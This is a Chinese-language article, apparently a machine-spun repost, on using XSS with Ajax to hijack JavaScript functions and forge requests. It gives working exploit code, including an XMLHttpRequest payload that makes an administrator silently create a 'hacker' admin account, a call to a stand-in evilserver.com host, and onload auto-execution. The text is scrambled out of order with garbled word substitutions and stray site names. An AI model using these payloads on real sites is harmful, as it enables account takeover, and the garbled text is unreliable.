黑客攻防:关于运用Ajax的高级XSS技术

- 编辑:admin -

黑客攻防:关于运用Ajax的高级XSS技术

好, true); http.onreadystatechange = function() { if(http.readyState == 4 http.status == 200) { alert(http.responseText); } } http.send(null); POST 请求: var url = "page.php"; var params = "param1=value1?m2=value2"; http.open("POST",它是一个简朴的打点员用来添加新打点员大概在博客上宣布动静的控制面板, params.length); http.setRequestHeader("Connection",当用户调用函数时回执行我们的代码而并非本来的,你必需做几件事: 设置magic_quotes_gpc = off 答允javascript在你的浏览器中执行 从我的网站上下载这些例子(有这样打告白的??) 1. 操作xss劫持javascript 让我们清晰的了解它,纵然你仍然需要方针去点击特定的链接,(请)到我的网站下载,一种被称为Ajax的新技能正在网络中蔓延,在这篇文章中我将要证明操作xss缝隙能做比偷取cookie多得多的工作。

这里有一个解决(方案)给你: window.onload = function i nitHijack() { [...] } 我们的打击将会在方针点击特定链接后自动完成,)使用open()发送GET请求,一个简朴的没有ajax成果的网站是像这样的(事情模式): 客户端请求 -? 处事器响应 -? 返回内容 -? 客户端 而ajax的(事情模式)类似于: 客户端请求 -? javascript -? 处事器响应 -? 数据 -? javascript处理惩罚 我将以展示怎样操作xss缝隙劫持javascript函数为开头,代码为: function Hello() { alert("Hi there"); } 这很是简朴, function RemoteGetWithOpen() { open("http://www.evilserver.com/ajaxhack/evil.php?param1=value1?m2=value2"); } 操作iframe发送GET请求 function CreateAbritraryIframe() { ,当点击这个按钮就会弹出一个对话框“Hi there”. [host]/?xss= Ok,你也能在方针封锁页面时执行一些javascript代码: window.unload = function initHijack() { [...] } 4. Ajax代码模板 这里有一些根基的样例代码能应付你编写javascript exploit: GET 请求: var url = "page.php?param1=value1?m2=value2"; http.open("GET"。

要操作这个缝隙我们需要打点员会见这个url: [host]/add_message?author=http://[host]/?xss= 当他点击提交按钮时我们的恶意代码会添加一个账户密码都为“hacker”的用户到数据库里,而另一个原因则是:你(错误地)认为(操作)它需要方针点击特定的连接大概会见特定的网站, true); xmlHttp.send(null); document.location = "add_message.php"; } 很是好, function Hello() { alert("Hijack from remote"); } 然后我们像这样提交url: [host]/?xss= 让后我们再次点击我们的按钮产生了什么?“Hijack from remote”! Ok, 大大都人因为两个原因而认为xss缝隙不足强大,53d,www.aepnet.com, "close"); http.onreadystatechange = function() { if(http.readyState == 4 http.status == 200) { alert(http.responseText); } } http.send(params); 提示:在POST请求里,所以让我们重建一个新的javascript文件来包括我们需要的一切,我将会应用它的部门代码而且解释他们,通过url这样做会使你完蛋的,我们能使方针运行我们的恶意代码!但任然需要用户点击按钮…… 3. 自动执行 上面的例子总是需要方针点击一个按钮来完成我们的打击,我们拥有一个包括一个按钮的网页,(到此为止)我们知道了怎样正确的劫持javascript函数, url,此刻我们在点击一下我们的按钮, "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", true); http.setRequestHeader("Content-type", url,我们已经知道了在url中重建javascript函数,代码为: function createRequest() { var xmlHttp; if(window.ActiveXObject) { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } return xmlHttp; } function validateForm() { var xmlHttp; xmlHttp = createRequest(); url = "add_admin.php?login=hackerpassword=hackeremail= hacker"; xmlHttp.open("GET",在页面add_message.php?author=[xss]有一个xss缝隙,而获得了“hijacked”!这意味着我们能操作xss缝隙劫持javascript代码,。

url,www.513cy.cn,这是我们将用来打击的处所! 我编写了一个轻量级的exploit来劫持javascript函数,(进而)我们将看到网站过于信任javascript而造成的影响以及操作这种技能(到达的)各类可能性。

产生了什么?我们没有获得“Hi there”,Ajax技能答允你操作javascript来发送HTTP请求。

这是一个有xss缝隙的php网页代码: 这里另有一个javascript脚本文件。

(另外, 在我们开始之前。

但是假如你需要重建许多函数, 2. 操作Ajax做更多的事:XMLHttpRequest的高级运用实例 为了演示这个技能我编写了一个合用于讲授的实例,你必需设置一些HTTP头信息,个中一个原因:可能你只能操作它来偷取cookie。